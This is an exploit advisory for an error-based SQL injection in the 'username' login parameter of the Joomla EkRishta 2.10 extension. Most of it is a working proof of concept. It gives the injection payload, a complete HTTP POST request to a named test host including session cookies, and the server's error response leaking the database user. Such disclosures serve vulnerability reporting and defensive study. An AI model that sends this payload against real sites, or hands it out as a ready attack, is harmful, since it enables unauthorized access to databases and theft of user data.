Joomla! Component EkRishta 2.10 username SQL Injection

2018.06.12
Credit: L0RD
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection # Date: 2018-06-11 # Exploit Author: L0RD # Software Link: https://extensions.joomla.org/extension/ek-rishta/ # Vendor Homepage: https://www.joomlaextensions.co.in/ # Version: 2.10 # Tested on: Win 10 # POC : SQLi : # Parameter : username # Type : Error based # Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))# # Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in # Request POST /ekrishta/index.php/login/sign-in HTTP/1.1 Host: joomlaextension.biz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in Content-Type: application/x-www-form-urlencoded Content-Length: 264 Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3; joomla_user_state=logged_in Connection: keep-alive Upgrade-Insecure-Requests: 1 username=1' AND extractvalue(1,concat(0x3a,user(),0x3a))#&passwd=test%27&Submit=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1 # Response HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select * from #__users where username='1' AND extractvalue(1,concat(0x3a,user(),0x3a))#' Server: nginx Date: Mon, 11 Jun 2018 17:05:00 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Host-Header: 192fc2e7e50945beb8231a492d6a8024 Content-Length: 3181


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